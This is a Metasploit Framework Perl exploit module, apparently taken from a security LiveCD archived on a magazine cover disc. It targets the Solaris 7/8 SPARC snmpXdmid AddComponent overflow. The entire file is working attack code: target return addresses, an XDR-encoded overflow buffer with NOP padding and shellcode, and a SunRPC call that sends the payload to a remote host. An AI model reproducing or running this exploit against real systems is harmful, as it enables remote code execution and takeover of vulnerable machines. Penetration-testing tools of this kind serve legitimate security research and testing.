home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / solaris_snmpxdmid.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  129 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::solaris_snmpxdmid;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use Pex::SunRPC;
  15. use Pex::XDR;
  16.  
  17. my $advanced = { };
  18. my $info =
  19.   {
  20.     'Name'    => 'Solaris snmpXdmid AddComponent Overflow',
  21.     'Version' => '$Revision: 1.8 $',
  22.     'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  23.  
  24.     'Arch'  => [ 'sparc' ],
  25.     'OS'    => [ 'solaris' ],
  26.     'Priv'  => 1,
  27.  
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target RPC port', 111],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.         'Space' => 64000,
  37.         'MinNops' => 63000,
  38.       },
  39.  
  40.     'Description'  => Pex::Text::Freeform(qq{
  41.     Exploit based on LSD's solsparc_snmpxdmid.c. Exploit a simple overflow and
  42.     return to the heap avoiding NX stacks.
  43. }),
  44.  
  45.     'Refs'  =>
  46.       [
  47.         ['BID', '2417'],
  48.         ['URL', 'http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c'],
  49.         ['MIL', '65'],
  50.       ],
  51.  
  52.     'Targets' =>
  53.       [
  54.         [ 'Solaris 7 / SPARC', 0xb1868 + 96000, 0xb1868 + 32000 ],
  55.         [ 'Solaris 8 / SPARC', 0xcf2c0 + 96000, 0xcf2c0 + 32000 ],
  56.       ],
  57.  
  58.     'Keys'  => ['snmpxdmid'],
  59.  
  60.     'DisclosureDate' => 'Mar 15 2001',
  61.   };
  62.  
  63. sub new {
  64.     my $class = shift;
  65.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  66.     return($self);
  67. }
  68.  
  69. sub Exploit {
  70.     my $self = shift;
  71.  
  72.     my $target_idx = $self->GetVar('TARGET');
  73.     my $shellcode = $self->GetVar('EncodedPayload')->Payload;
  74.  
  75.     my $target = $self->Targets->[$target_idx];
  76.  
  77.     my %data;
  78.  
  79.     my $host = $self->GetVar('RHOST');
  80.     my $port = $self->GetVar('RPORT');
  81.  
  82.     if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100249, 1, "tcp", "tcp") == -1)
  83.     {
  84.         $self->PrintLine("[*] RPC request failed (snmpXdmid).");
  85.         return;
  86.     }
  87.  
  88.     $self->PrintLine("[*] Using port $data{'rport'}");
  89.     Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
  90.     $self->PrintLine("[*] Generating buffer...");
  91.  
  92.     my $array1 =
  93.       (pack("N", ($target->[2])) x (1248/4)).
  94.       (pack("N", ($target->[1])) x (352/4)).
  95.       (pack("N", 0));
  96.  
  97.     my $array2 =
  98.       (pack("N", 0) x (64000/4)).
  99.       ($shellcode).
  100.       (pack("N", 0));
  101.  
  102.     my @array1_tbl = map { unpack("C", $_) } split(//, $array1);
  103.     my @array2_tbl = map { unpack("C", $_) } split(//, $array2);
  104.  
  105.     my $buf =
  106.       Pex::XDR::Encode_int(0).
  107.       Pex::XDR::Encode_int(0).
  108.       Pex::XDR::Encode_bool(1).
  109.       Pex::XDR::Encode_int(0).
  110.       Pex::XDR::Encode_bool(1).
  111.       Pex::XDR::Encode_varray([@array1_tbl], \&Pex::XDR::Encode_lchar).
  112.       Pex::XDR::Encode_bool(1).
  113.       Pex::XDR::Encode_varray([@array2_tbl], \&Pex::XDR::Encode_lchar).
  114.       Pex::XDR::Encode_int(0).
  115.       Pex::XDR::Encode_int(0);
  116.  
  117.     $self->PrintLine("[*] Sending payload...");
  118.  
  119.     if(Pex::SunRPC::Clnt_call(\%data, 0x101, $buf) == -1)
  120.     {
  121.         $self->PrintLine("[*] snmpXdmid addcomponent request failed.");
  122.         return;
  123.     }
  124.  
  125.     $self->PrintLine("[*] Sent!");
  126.  
  127.     return;
  128. }
  129.